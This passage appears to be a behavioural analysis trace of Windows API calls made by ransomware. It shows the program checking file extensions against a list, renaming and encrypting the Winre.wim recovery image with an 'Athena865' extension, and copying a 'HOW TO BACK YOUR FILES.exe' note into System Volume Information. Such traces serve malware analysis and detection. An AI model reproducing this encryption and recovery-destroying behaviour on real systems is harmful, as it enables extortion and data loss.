lpString2="accdw") returned 1 [0049.170] lstrlenW (lpString="accft") returned 5 [0049.170] lstrcmpiW (lpString1="e.wim", lpString2="accft") returned 1 [0049.170] lstrlenW (lpString="adb") returned 3 [0049.170] lstrcmpiW (lpString1="wim", lpString2="adb") returned 1 [0049.170] lstrlenW (lpString="adb") returned 3 [0049.170] lstrcmpiW (lpString1="wim", lpString2="adb") returned 1 [0049.170] lstrlenW (lpString="ade") returned 3 [0049.170] lstrcmpiW (lpString1="wim", lpString2="ade") returned 1 [0049.171] lstrlenW (lpString="adf") returned 3 [0049.171] lstrcmpiW (lpString1="wim", lpString2="adf") returned 1 [0049.171] lstrlenW (lpString="adn") returned 3 [0049.171] lstrcmpiW (lpString1="wim", lpString2="adn") returned 1 [0049.171] lstrlenW (lpString="adp") returned 3 [0049.171] lstrcmpiW (lpString1="wim", lpString2="adp") returned 1 [0049.171] lstrlenW (lpString="alf") returned 3 [0049.171] lstrcmpiW (lpString1="wim", lpString2="alf") returned 1 [0049.171] lstrlenW (lpString="ask") returned 3 [0049.171] lstrcmpiW (lpString1="wim", lpString2="ask") returned 1 [0049.171] lstrlenW (lpString="btr") returned 3 [0049.171] lstrcmpiW (lpString1="wim", lpString2="btr") returned 1 [0049.171] lstrlenW (lpString="cat") returned 3 [0049.171] lstrcmpiW (lpString1="wim", lpString2="cat") returned 1 [0049.171] lstrlenW (lpString="cdb") returned 3 [0049.171] lstrcmpiW (lpString1="wim", lpString2="cdb") returned 1 [0049.171] lstrlenW (lpString="ckp") returned 3 [0049.171] lstrcmpiW (lpString1="wim", lpString2="ckp") returned 1 [0049.171] lstrlenW (lpString="cma") returned 3 [0049.171] lstrcmpiW (lpString1="wim", lpString2="cma") returned 1 [0049.171] lstrlenW (lpString="cpd") returned 3 [0049.171] lstrcmpiW (lpString1="wim", lpString2="cpd") returned 1 [0049.171] lstrlenW (lpString="dacpac") returned 6 [0049.171] lstrcmpiW (lpString1="re.wim", lpString2="dacpac") returned 1 [0049.171] lstrlenW (lpString="dad") returned 3 [0049.171] lstrcmpiW (lpString1="wim", lpString2="dad") returned 1 [0049.171] lstrlenW (lpString="dadiagrams") returned 10 [0049.171] lstrlenW (lpString="daschema") returned 8 [0049.171] lstrcmpiW (lpString1="inre.wim", lpString2="daschema") returned 1 [0049.171] lstrlenW (lpString="db-journal") returned 10 [0049.171] lstrlenW (lpString="db-shm") returned 6 [0049.171] lstrcmpiW (lpString1="re.wim", lpString2="db-shm") returned 1 [0049.171] lstrlenW (lpString="db-wal") returned 6 [0049.171] lstrcmpiW (lpString1="re.wim", lpString2="db-wal") returned 1 [0049.172] lstrlenW (lpString="dbc") returned 3 [0049.172] lstrcmpiW (lpString1="wim", lpString2="dbc") returned 1 [0049.172] lstrlenW (lpString="dbs") returned 3 [0049.172] lstrcmpiW (lpString1="wim", lpString2="dbs") returned 1 [0049.172] lstrlenW (lpString="dbt") returned 3 [0049.172] lstrcmpiW (lpString1="wim", lpString2="dbt") returned 1 [0049.172] lstrlenW (lpString="dbv") returned 3 [0049.172] lstrcmpiW (lpString1="wim", lpString2="dbv") returned 1 [0049.172] lstrlenW (lpString="dbx") returned 3 [0049.172] lstrcmpiW (lpString1="wim", lpString2="dbx") returned 1 [0049.172] lstrlenW (lpString="dcb") returned 3 [0049.172] lstrcmpiW (lpString1="wim", lpString2="dcb") returned 1 [0049.172] lstrlenW (lpString="dct") returned 3 [0049.172] lstrcmpiW (lpString1="wim", lpString2="dct") returned 1 [0049.172] lstrlenW (lpString="dcx") returned 3 [0049.172] lstrcmpiW (lpString1="wim", lpString2="dcx") returned 1 [0049.172] lstrlenW (lpString="ddl") returned 3 [0049.172] lstrcmpiW (lpString1="wim", lpString2="ddl") returned 1 [0049.172] lstrlenW (lpString="dlis") returned 4 [0049.172] lstrcmpiW (lpString1=".wim", lpString2="dlis") returned -1 [0049.172] lstrlenW (lpString="dp1") returned 3 [0049.172] lstrcmpiW (lpString1="wim", lpString2="dp1") returned 1 [0049.172] lstrlenW (lpString="dqy") returned 3 [0049.172] lstrcmpiW (lpString1="wim", lpString2="dqy") returned 1 [0049.172] lstrlenW (lpString="dsk") returned 3 [0049.172] lstrcmpiW (lpString1="wim", lpString2="dsk") returned 1 [0049.172] lstrlenW (lpString="dsn") returned 3 [0049.172] lstrcmpiW (lpString1="wim", lpString2="dsn") returned 1 [0049.172] lstrlenW (lpString="dtsx") returned 4 [0049.172] lstrcmpiW (lpString1=".wim", lpString2="dtsx") returned -1 [0049.172] lstrlenW (lpString="dxl") returned 3 [0049.172] lstrcmpiW (lpString1="wim", lpString2="dxl") returned 1 [0049.172] lstrlenW (lpString="eco") returned 3 [0049.172] lstrcmpiW (lpString1="wim", lpString2="eco") returned 1 [0049.172] lstrlenW (lpString="ecx") returned 3 [0049.172] lstrcmpiW (lpString1="wim", lpString2="ecx") returned 1 [0049.173] lstrlenW (lpString="edb") returned 3 [0049.173] lstrcmpiW (lpString1="wim", lpString2="edb") returned 1 [0049.173] lstrlenW (lpString="epim") returned 4 [0049.173] lstrcmpiW (lpString1=".wim", lpString2="epim") returned -1 [0049.173] lstrlenW (lpString="fcd") returned 3 [0049.173] lstrcmpiW (lpString1="wim", lpString2="fcd") returned 1 [0049.173] lstrlenW (lpString="fdb") returned 3 [0049.173] lstrcmpiW (lpString1="wim", lpString2="fdb") returned 1 [0049.173] lstrlenW (lpString="fic") returned 3 [0049.173] lstrcmpiW (lpString1="wim", lpString2="fic") returned 1 [0049.173] lstrlenW (lpString="flexolibrary") returned 12 [0049.173] lstrlenW (lpString="fm5") returned 3 [0049.173] lstrcmpiW (lpString1="wim", lpString2="fm5") returned 1 [0049.173] lstrlenW (lpString="fmp") returned 3 [0049.173] lstrcmpiW (lpString1="wim", lpString2="fmp") returned 1 [0049.173] lstrlenW (lpString="fmp12") returned 5 [0049.173] lstrcmpiW (lpString1="e.wim", lpString2="fmp12") returned -1 [0049.173] lstrlenW (lpString="fmpsl") returned 5 [0049.173] lstrcmpiW (lpString1="e.wim", lpString2="fmpsl") returned -1 [0049.173] lstrlenW (lpString="fol") returned 3 [0049.173] lstrcmpiW (lpString1="wim", lpString2="fol") returned 1 [0049.173] lstrlenW (lpString="fp3") returned 3 [0049.173] lstrcmpiW (lpString1="wim", lpString2="fp3") returned 1 [0049.173] lstrlenW (lpString="fp4") returned 3 [0049.173] lstrcmpiW (lpString1="wim", lpString2="fp4") returned 1 [0049.173] lstrlenW (lpString="fp5") returned 3 [0049.173] lstrcmpiW (lpString1="wim", lpString2="fp5") returned 1 [0049.173] lstrlenW (lpString="fp7") returned 3 [0049.173] lstrcmpiW (lpString1="wim", lpString2="fp7") returned 1 [0049.173] lstrlenW (lpString="fpt") returned 3 [0049.173] lstrcmpiW (lpString1="wim", lpString2="fpt") returned 1 [0049.173] lstrlenW (lpString="frm") returned 3 [0049.173] lstrcmpiW (lpString1="wim", lpString2="frm") returned 1 [0049.173] lstrlenW (lpString="gdb") returned 3 [0049.173] lstrcmpiW (lpString1="wim", lpString2="gdb") returned 1 [0049.173] lstrlenW (lpString="gdb") returned 3 [0049.174] lstrcmpiW (lpString1="wim", lpString2="gdb") returned 1 [0049.174] lstrlenW (lpString="grdb") returned 4 [0049.174] lstrcmpiW (lpString1=".wim", lpString2="grdb") returned -1 [0049.174] lstrlenW (lpString="gwi") returned 3 [0049.174] lstrcmpiW (lpString1="wim", lpString2="gwi") returned 1 [0049.174] lstrlenW (lpString="hdb") returned 3 [0049.174] lstrcmpiW (lpString1="wim", lpString2="hdb") returned 1 [0049.174] lstrlenW (lpString="his") returned 3 [0049.174] lstrcmpiW (lpString1="wim", lpString2="his") returned 1 [0049.174] lstrlenW (lpString="ib") returned 2 [0049.174] lstrcmpiW (lpString1="im", lpString2="ib") returned 1 [0049.174] lstrlenW (lpString="idb") returned 3 [0049.174] lstrcmpiW (lpString1="wim", lpString2="idb") returned 1 [0049.174] lstrlenW (lpString="ihx") returned 3 [0049.174] lstrcmpiW (lpString1="wim", lpString2="ihx") returned 1 [0049.174] lstrlenW (lpString="itdb") returned 4 [0049.174] lstrcmpiW (lpString1=".wim", lpString2="itdb") returned -1 [0049.174] lstrlenW (lpString="itw") returned 3 [0049.174] lstrcmpiW (lpString1="wim", lpString2="itw") returned 1 [0049.174] lstrlenW (lpString="jet") returned 3 [0049.174] lstrcmpiW (lpString1="wim", lpString2="jet") returned 1 [0049.174] lstrlenW (lpString="jtx") returned 3 [0049.174] lstrcmpiW (lpString1="wim", lpString2="jtx") returned 1 [0049.174] lstrlenW (lpString="kdb") returned 3 [0049.174] lstrcmpiW (lpString1="wim", lpString2="kdb") returned 1 [0049.174] lstrlenW (lpString="kexi") returned 4 [0049.174] lstrcmpiW (lpString1=".wim", lpString2="kexi") returned -1 [0049.174] lstrlenW (lpString="kexic") returned 5 [0049.174] lstrcmpiW (lpString1="e.wim", lpString2="kexic") returned -1 [0049.174] lstrlenW (lpString="kexis") returned 5 [0049.174] lstrcmpiW (lpString1="e.wim", lpString2="kexis") returned -1 [0049.174] lstrlenW (lpString="lgc") returned 3 [0049.174] lstrcmpiW (lpString1="wim", lpString2="lgc") returned 1 [0049.174] lstrlenW (lpString="lwx") returned 3 [0049.174] lstrcmpiW (lpString1="wim", lpString2="lwx") returned 1 [0049.174] lstrlenW (lpString="maf") returned 3 [0049.175] lstrcmpiW (lpString1="wim", lpString2="maf") returned 1 [0049.175] lstrlenW (lpString="maq") returned 3 [0049.175] lstrcmpiW (lpString1="wim", lpString2="maq") returned 1 [0049.175] lstrlenW (lpString="mar") returned 3 [0049.175] lstrcmpiW (lpString1="wim", lpString2="mar") returned 1 [0049.175] lstrlenW (lpString="marshal") returned 7 [0049.175] lstrcmpiW (lpString1="nre.wim", lpString2="marshal") returned 1 [0049.175] lstrlenW (lpString="mas") returned 3 [0049.175] lstrcmpiW (lpString1="wim", lpString2="mas") returned 1 [0049.175] lstrlenW (lpString="mav") returned 3 [0049.175] lstrcmpiW (lpString1="wim", lpString2="mav") returned 1 [0049.175] lstrlenW (lpString="maw") returned 3 [0049.175] lstrcmpiW (lpString1="wim", lpString2="maw") returned 1 [0049.175] lstrlenW (lpString="mdbhtml") returned 7 [0049.175] lstrcmpiW (lpString1="nre.wim", lpString2="mdbhtml") returned 1 [0049.175] lstrlenW (lpString="mdn") returned 3 [0049.175] lstrcmpiW (lpString1="wim", lpString2="mdn") returned 1 [0049.175] lstrlenW (lpString="mdt") returned 3 [0049.175] lstrcmpiW (lpString1="wim", lpString2="mdt") returned 1 [0049.175] lstrlenW (lpString="mfd") returned 3 [0049.175] lstrcmpiW (lpString1="wim", lpString2="mfd") returned 1 [0049.175] lstrlenW (lpString="mpd") returned 3 [0049.175] lstrcmpiW (lpString1="wim", lpString2="mpd") returned 1 [0049.175] lstrlenW (lpString="mrg") returned 3 [0049.175] lstrcmpiW (lpString1="wim", lpString2="mrg") returned 1 [0049.175] lstrlenW (lpString="mud") returned 3 [0049.175] lstrcmpiW (lpString1="wim", lpString2="mud") returned 1 [0049.175] lstrlenW (lpString="mwb") returned 3 [0049.175] lstrcmpiW (lpString1="wim", lpString2="mwb") returned 1 [0049.175] lstrlenW (lpString="myd") returned 3 [0049.175] lstrcmpiW (lpString1="wim", lpString2="myd") returned 1 [0049.175] lstrlenW (lpString="ndf") returned 3 [0049.175] lstrcmpiW (lpString1="wim", lpString2="ndf") returned 1 [0049.175] lstrlenW (lpString="nnt") returned 3 [0049.175] lstrcmpiW (lpString1="wim", lpString2="nnt") returned 1 [0049.175] lstrlenW (lpString="nrmlib") returned 6 [0049.176] lstrcmpiW (lpString1="re.wim", lpString2="nrmlib") returned 1 [0049.176] lstrlenW (lpString="ns2") returned 3 [0049.176] lstrcmpiW (lpString1="wim", lpString2="ns2") returned 1 [0049.176] lstrlenW (lpString="ns3") returned 3 [0049.176] lstrcmpiW (lpString1="wim", lpString2="ns3") returned 1 [0049.176] lstrlenW (lpString="ns4") returned 3 [0049.176] lstrcmpiW (lpString1="wim", lpString2="ns4") returned 1 [0049.176] lstrlenW (lpString="nsf") returned 3 [0049.176] lstrcmpiW (lpString1="wim", lpString2="nsf") returned 1 [0049.176] lstrlenW (lpString="nv") returned 2 [0049.176] lstrcmpiW (lpString1="im", lpString2="nv") returned -1 [0049.176] lstrlenW (lpString="nv2") returned 3 [0049.176] lstrcmpiW (lpString1="wim", lpString2="nv2") returned 1 [0049.176] lstrlenW (lpString="nwdb") returned 4 [0049.176] lstrcmpiW (lpString1=".wim", lpString2="nwdb") returned -1 [0049.176] lstrlenW (lpString="nyf") returned 3 [0049.176] lstrcmpiW (lpString1="wim", lpString2="nyf") returned 1 [0049.176] lstrlenW (lpString="odb") returned 3 [0049.176] lstrcmpiW (lpString1="wim", lpString2="odb") returned 1 [0049.176] lstrlenW (lpString="odb") returned 3 [0049.176] lstrcmpiW (lpString1="wim", lpString2="odb") returned 1 [0049.176] lstrlenW (lpString="oqy") returned 3 [0049.176] lstrcmpiW (lpString1="wim", lpString2="oqy") returned 1 [0049.176] lstrlenW (lpString="ora") returned 3 [0049.176] lstrcmpiW (lpString1="wim", lpString2="ora") returned 1 [0049.176] lstrlenW (lpString="orx") returned 3 [0049.176] lstrcmpiW (lpString1="wim", lpString2="orx") returned 1 [0049.176] lstrlenW (lpString="owc") returned 3 [0049.176] lstrcmpiW (lpString1="wim", lpString2="owc") returned 1 [0049.176] lstrlenW (lpString="p96") returned 3 [0049.176] lstrcmpiW (lpString1="wim", lpString2="p96") returned 1 [0049.176] lstrlenW (lpString="p97") returned 3 [0049.176] lstrcmpiW (lpString1="wim", lpString2="p97") returned 1 [0049.176] lstrlenW (lpString="pan") returned 3 [0049.176] lstrcmpiW (lpString1="wim", lpString2="pan") returned 1 [0049.177] lstrlenW (lpString="pdb") returned 3 [0049.177] lstrcmpiW (lpString1="wim", lpString2="pdb") returned 1 [0049.177] lstrlenW (lpString="pdm") returned 3 [0049.177] lstrcmpiW (lpString1="wim", lpString2="pdm") returned 1 [0049.177] lstrlenW (lpString="pnz") returned 3 [0049.177] lstrcmpiW (lpString1="wim", lpString2="pnz") returned 1 [0049.177] lstrlenW (lpString="qry") returned 3 [0049.177] lstrcmpiW (lpString1="wim", lpString2="qry") returned 1 [0049.177] lstrlenW (lpString="qvd") returned 3 [0049.177] lstrcmpiW (lpString1="wim", lpString2="qvd") returned 1 [0049.177] lstrlenW (lpString="rbf") returned 3 [0049.177] lstrcmpiW (lpString1="wim", lpString2="rbf") returned 1 [0049.177] lstrlenW (lpString="rctd") returned 4 [0049.177] lstrcmpiW (lpString1=".wim", lpString2="rctd") returned -1 [0049.177] lstrlenW (lpString="rod") returned 3 [0049.177] lstrcmpiW (lpString1="wim", lpString2="rod") returned 1 [0049.177] lstrlenW (lpString="rodx") returned 4 [0049.177] lstrcmpiW (lpString1=".wim", lpString2="rodx") returned -1 [0049.177] lstrlenW (lpString="rpd") returned 3 [0049.177] lstrcmpiW (lpString1="wim", lpString2="rpd") returned 1 [0049.177] lstrlenW (lpString="rsd") returned 3 [0049.177] lstrcmpiW (lpString1="wim", lpString2="rsd") returned 1 [0049.177] lstrlenW (lpString="sas7bdat") returned 8 [0049.177] lstrcmpiW (lpString1="inre.wim", lpString2="sas7bdat") returned -1 [0049.177] lstrlenW (lpString="sbf") returned 3 [0049.177] lstrcmpiW (lpString1="wim", lpString2="sbf") returned 1 [0049.177] lstrlenW (lpString="scx") returned 3 [0049.177] lstrcmpiW (lpString1="wim", lpString2="scx") returned 1 [0049.177] lstrlenW (lpString="sdb") returned 3 [0049.177] lstrcmpiW (lpString1="wim", lpString2="sdb") returned 1 [0049.177] lstrlenW (lpString="sdc") returned 3 [0049.177] lstrcmpiW (lpString1="wim", lpString2="sdc") returned 1 [0049.177] lstrlenW (lpString="sdf") returned 3 [0049.177] lstrcmpiW (lpString1="wim", lpString2="sdf") returned 1 [0049.177] lstrlenW (lpString="sis") returned 3 [0049.177] lstrcmpiW (lpString1="wim", lpString2="sis") returned 1 [0049.177] lstrlenW (lpString="spq") returned 3 [0049.178] lstrcmpiW (lpString1="wim", lpString2="spq") returned 1 [0049.178] lstrlenW (lpString="te") returned 2 [0049.178] lstrcmpiW (lpString1="im", lpString2="te") returned -1 [0049.178] lstrlenW (lpString="teacher") returned 7 [0049.178] lstrcmpiW (lpString1="nre.wim", lpString2="teacher") returned -1 [0049.178] lstrlenW (lpString="tmd") returned 3 [0049.178] lstrcmpiW (lpString1="wim", lpString2="tmd") returned 1 [0049.178] lstrlenW (lpString="tps") returned 3 [0049.178] lstrcmpiW (lpString1="wim", lpString2="tps") returned 1 [0049.178] lstrlenW (lpString="trc") returned 3 [0049.178] lstrcmpiW (lpString1="wim", lpString2="trc") returned 1 [0049.178] lstrlenW (lpString="trc") returned 3 [0049.178] lstrcmpiW (lpString1="wim", lpString2="trc") returned 1 [0049.178] lstrlenW (lpString="trm") returned 3 [0049.178] lstrcmpiW (lpString1="wim", lpString2="trm") returned 1 [0049.178] lstrlenW (lpString="udb") returned 3 [0049.178] lstrcmpiW (lpString1="wim", lpString2="udb") returned 1 [0049.178] lstrlenW (lpString="udl") returned 3 [0049.178] lstrcmpiW (lpString1="wim", lpString2="udl") returned 1 [0049.178] lstrlenW (lpString="usr") returned 3 [0049.178] lstrcmpiW (lpString1="wim", lpString2="usr") returned 1 [0049.178] lstrlenW (lpString="v12") returned 3 [0049.178] lstrcmpiW (lpString1="wim", lpString2="v12") returned 1 [0049.178] lstrlenW (lpString="vis") returned 3 [0049.178] lstrcmpiW (lpString1="wim", lpString2="vis") returned 1 [0049.178] lstrlenW (lpString="vpd") returned 3 [0049.178] lstrcmpiW (lpString1="wim", lpString2="vpd") returned 1 [0049.178] lstrlenW (lpString="vvv") returned 3 [0049.178] lstrcmpiW (lpString1="wim", lpString2="vvv") returned 1 [0049.178] lstrlenW (lpString="wdb") returned 3 [0049.178] lstrcmpiW (lpString1="wim", lpString2="wdb") returned 1 [0049.178] lstrlenW (lpString="wmdb") returned 4 [0049.178] lstrcmpiW (lpString1=".wim", lpString2="wmdb") returned -1 [0049.178] lstrlenW (lpString="wrk") returned 3 [0049.178] lstrcmpiW (lpString1="wim", lpString2="wrk") returned -1 [0049.178] lstrlenW (lpString="xdb") returned 3 [0049.179] lstrcmpiW (lpString1="wim", lpString2="xdb") returned -1 [0049.179] lstrlenW (lpString="xld") returned 3 [0049.179] lstrcmpiW (lpString1="wim", lpString2="xld") returned -1 [0049.179] lstrlenW (lpString="xmlff") returned 5 [0049.179] lstrcmpiW (lpString1="e.wim", lpString2="xmlff") returned -1 [0049.179] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Recovery\\e9e23962-4a25-11e7-88e8-91fb2ec43f0b\\Winre.wim.Athena865") returned 68 [0049.179] MoveFileExW (lpExistingFileName="C:\\Recovery\\e9e23962-4a25-11e7-88e8-91fb2ec43f0b\\Winre.wim" (normalized: "c:\\recovery\\e9e23962-4a25-11e7-88e8-91fb2ec43f0b\\winre.wim"), lpNewFileName="C:\\Recovery\\e9e23962-4a25-11e7-88e8-91fb2ec43f0b\\Winre.wim.Athena865" (normalized: "c:\\recovery\\e9e23962-4a25-11e7-88e8-91fb2ec43f0b\\winre.wim.athena865"), dwFlags=0x1) returned 1 [0049.182] CreateFileW (lpFileName="C:\\Recovery\\e9e23962-4a25-11e7-88e8-91fb2ec43f0b\\Winre.wim.Athena865" (normalized: "c:\\recovery\\e9e23962-4a25-11e7-88e8-91fb2ec43f0b\\winre.wim.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0049.182] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=169213970) returned 1 [0049.182] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0049.182] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d570 [0049.182] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x5192b0 [0049.182] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519338) returned 1 [0049.183] CryptGenRandom (in: hProv=0x519338, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0049.183] CryptReleaseContext (hProv=0x519338, dwFlags=0x0) returned 1 [0049.183] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xa160320, lpName=0x0) returned 0x17c [0049.185] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0xa000000, dwNumberOfBytesToMap=0x160320) returned 0x2d50000 [0049.247] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x200000) returned 0x3000000 [0049.317] UnmapViewOfFile (lpBaseAddress=0x3000000) returned 1 [0049.336] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519338) returned 1 [0049.337] CryptGenRandom (in: hProv=0x519338, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0049.337] CryptReleaseContext (hProv=0x519338, dwFlags=0x0) returned 1 [0049.337] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d5e8 [0049.337] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d5e8 | out: hHeap=0x4f0000) returned 1 [0049.337] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x50ef50 [0049.337] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0049.337] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50ef50 | out: hHeap=0x4f0000) returned 1 [0049.337] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0049.337] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x50afa8 [0049.337] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0049.337] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50afa8 | out: hHeap=0x4f0000) returned 1 [0049.337] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0049.337] UnmapViewOfFile (lpBaseAddress=0x2d50000) returned 1 [0049.349] CloseHandle (hObject=0x17c) returned 1 [0049.349] CloseHandle (hObject=0x154) returned 1 [0049.349] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d570 | out: hHeap=0x4f0000) returned 1 [0049.349] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5192b0 | out: hHeap=0x4f0000) returned 1 [0049.350] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0049.358] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2006, ftCreationTime.dwLowDateTime=0x6496a3c6, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x64b0e1b9, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xfa6eb761, ftLastWriteTime.dwHighDateTime=0x1cb88d1, nFileSizeHigh=0x0, nFileSizeLow=0xa160012, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Winre.wim", cAlternateFileName="")) returned 0 [0049.358] FindClose (in: hFindFile=0x529410 | out: hFindFile=0x529410) returned 1 [0049.358] ReleaseMutex (hMutex=0xec) returned 1 [0049.358] CloseHandle (hObject=0xec) returned 1 [0049.358] lstrcpyW (in: lpString1=0x241e848, lpString2="C:\\System Volume Information\\SPP" | out: lpString1="C:\\System Volume Information\\SPP") returned="C:\\System Volume Information\\SPP" [0049.358] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5174d8 | out: hHeap=0x4f0000) returned 1 [0049.358] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50c230 | out: hHeap=0x4f0000) returned 1 [0049.358] lstrlenW (lpString="C:\\System Volume Information\\SPP") returned 32 [0049.358] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\FC58B16E9548A9BA874400D712714E1A") returned 0xec [0049.358] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x0) returned 0x0 [0049.358] lstrcatW (in: lpString1="", lpString2="C:\\System Volume Information\\SPP" | out: lpString1="C:\\System Volume Information\\SPP") returned="C:\\System Volume Information\\SPP" [0049.358] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe" [0049.358] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\System Volume Information\\SPP\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\system volume information\\spp\\how to back your files.exe"), bFailIfExists=1) returned 0 [0049.359] CreateFileW (lpFileName="C:\\System Volume Information\\SPP\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\system volume information\\spp\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf4 [0049.359] GetLastError () returned 0x0 [0049.359] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x241e480 | out: lpFileSize=0x241e480*=28672) returned 1 [0049.359] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x7000) returned 0x532d08 [0049.359] ReadFile (in: hFile=0xf4, lpBuffer=0x532d08, nNumberOfBytesToRead=0x7000, lpNumberOfBytesRead=0x241e47c, lpOverlapped=0x0 | out: lpBuffer=0x532d08*, lpNumberOfBytesRead=0x241e47c*=0x7000, lpOverlapped=0x0) returned 1 [0049.360] CloseHandle (hObject=0xf4) returned 1 [0049.360] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x532d08 | out: hHeap=0x4f0000) returned 1 [0049.360] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*" [0049.360] FindFirstFileW (in: lpFileName="C:\\System Volume Information\\SPP\\*", lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x764bb2c0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xbc67b320, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbc67b320, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x529410 [0049.360] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0049.360] lstrcmpiW (lpString1=".", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0049.360] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0049.360] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x764bb2c0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xbc67b320, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbc67b320, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0049.360] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0049.360] lstrcmpiW (lpString1="..", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0049.361] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0049.361] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0049.361] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbc67b320, ftCreationTime.dwHighDateTime=0x1d575b6, ftLastAccessTime.dwLowDateTime=0xbc67b320, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbbee4d00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1 [0049.361] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0 [0049.361] FindNextFileW (in: 